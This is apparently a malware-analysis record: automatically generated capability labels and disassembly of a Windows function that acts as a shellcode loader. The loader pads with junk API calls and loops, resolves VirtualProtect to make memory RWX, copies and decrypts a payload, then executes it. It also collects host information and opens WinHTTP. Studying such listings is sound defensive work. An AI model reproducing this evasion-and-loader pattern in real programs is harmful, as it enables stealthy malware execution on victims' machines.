Function at 0x401746
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get hostname
Initialize winhttp library
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x4079f9
call fcn.00406434
mov eax, 0x1034
call fcn.00406010
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401778
inc esi
cmp esi, 0x67d12
jl 0x401761
cmp dword [0x2820b7c], 0x93
jne 0x401824
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push ebx
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
push ebx
mov dword [ebp - 4], ebx
call fcn.00401fa2
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x2c], 0x10
pop ecx
jb 0x401824
push dword [ebp - 0x40]
call fcn.00401f88
pop ecx
mov eax, dword [0x432c90]
add dword [0x2820b7c], 0x1134b
push str.kernel32.dll
mov dword [0x28219b8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x282060c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2820b7c]
mov dword [0x2820600], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2820b7c]
mov dword [0x2820608], eax
push eax
call dword [0x2820600]
mov esi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x401883
mov eax, dword [0x2820b7c]
cmp eax, ebx
jbe 0x4018f2
mov eax, dword [0x28219b8]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2820608]
mov byte [ecx + esi], al
mov eax, dword [0x2820b7c]
cmp eax, 0x490
jne 0x4018ed
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, dword [0x2820b7c]
inc esi
cmp esi, eax
jb 0x40189d
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x401927
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push 0x409940
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2820b7c]
inc esi
cmp esi, 0x38681
jl 0x4018f4
mov ecx, dword [0x2820608]
shr eax, 3
cmp eax, ebx
jbe 0x40194d
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x401941
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x40196e
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2820608], eax
inc esi
cmp esi, 0x674bd
jl 0x40194f
push 0x7b
pop esi
cmp dword [0x2820b7c], 0x86
jne 0x4019cf
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1040]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
dec esi
jne 0x40197a
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2820608]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret